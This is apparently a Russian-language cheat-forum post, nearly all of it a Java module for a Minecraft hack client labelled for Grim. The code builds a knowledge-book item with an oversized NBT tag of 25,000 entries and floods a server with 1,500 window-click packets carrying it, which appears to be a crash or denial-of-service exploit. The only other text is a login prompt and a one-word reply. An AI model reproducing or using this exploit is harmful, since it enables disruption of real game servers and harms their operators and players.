- Выберите загрузчик игры
- Vanilla
GrimBest:
@Override
public void onEnable() {
super.onEnable();
if (mode.is("grim")) {
if (mc.player == null) return;
CompoundNBT compoundTag = new CompoundNBT();
ListNBT listTag = new ListNBT();
for (int i = 0; i < 25000; ++i)
listTag.add(StringNBT.valueOf(".".repeat(1)));
compoundTag.put("Recipes", listTag);
ItemStack stack = new ItemStack(Items.KNOWLEDGE_BOOK,1);
stack.setTag(compoundTag);
for (int i = 0; i < 1500; i++) {
mc.player.connection.sendPacketWithoutEvent(new CClickWindowPacket(0, 20, 0, ClickType.PICKUP_ALL, stack, (byte) 0));
}
if (isEnabled()) {
toggle();
System.gc();
}
print("sended");
return;
}
Пожалуйста, авторизуйтесь для просмотра ссылки.
прикольно